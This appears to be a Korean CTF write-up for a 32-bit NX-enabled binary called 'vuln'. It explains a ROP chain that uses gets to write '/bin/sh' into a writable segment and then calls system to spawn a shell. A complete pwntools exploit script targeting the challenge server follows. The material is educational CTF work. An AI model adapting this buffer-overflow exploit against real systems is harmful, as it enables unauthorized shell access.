Download: vuln
32bit ELF 바이너리에 NX만 걸려있다.
최종 목표로 system("sh"); 를 실행하는 것으로 설정했다. 가장 처음 만난 문제점은, "sh" 문자열이 없다는 것이다.
gdb의 vmmap으로 확인해 보면 0x804A000부터 0x804B000까지의 고정 영역에 대한 write 권한이 있다. 이를 이용해 BOF로 gets를 호출하고 해당 영역에 "/bin/sh" 문자열을 쓴 뒤 system 함수를 호출해 인자로 "/bin/sh"를 넘겨주는 방식으로 shell을 얻는 시나리오를 설계했다.
gets@plt와 system@plt는 각각 0x8048450, 0x8048460이다. ROP로 위에 작성한 시나리오를 구현해 주면 된다.
from pwn import *
import sys
if len(sys.argv) == 1 :
p = process('./vuln')
else :
p = connect('icewall-ctf.kr', 10207)
# Gadget
pop_ebx_ret = 0x8048429
# Addr
gets_plt = 0x8048450
system_plt = 0x8048460
data_seg = 0x804A100
payload = 'A'*(0x6C+4)
payload += p32(gets_plt)
payload += p32(pop_ebx_ret)
payload += p32(data_seg)
payload += p32(0x804864E) # func: theSolitaryReaper
p.sendlineafter('Reaper', '1')
p.sendlineafter('Reaper/', payload)
p.sendline('/bin/sh')
payload = 'A'*(0x6C+4)
payload += p32(system_plt)
payload += p32(pop_ebx_ret)
payload += p32(data_seg)
p.sendlineafter('Reaper/', payload)
p.interactive()
'ICEWALL' 카테고리의 다른 글
[System] stack_chk_fail / 300 (0) | 2019.07.19 |
---|---|
[System] libc_leak / 250 (0) | 2019.07.19 |
[System] fsb32 / 150 (0) | 2019.07.19 |
[System] canary / 150 (0) | 2019.07.19 |
[System] bofbaby2 / 120 (0) | 2019.07.18 |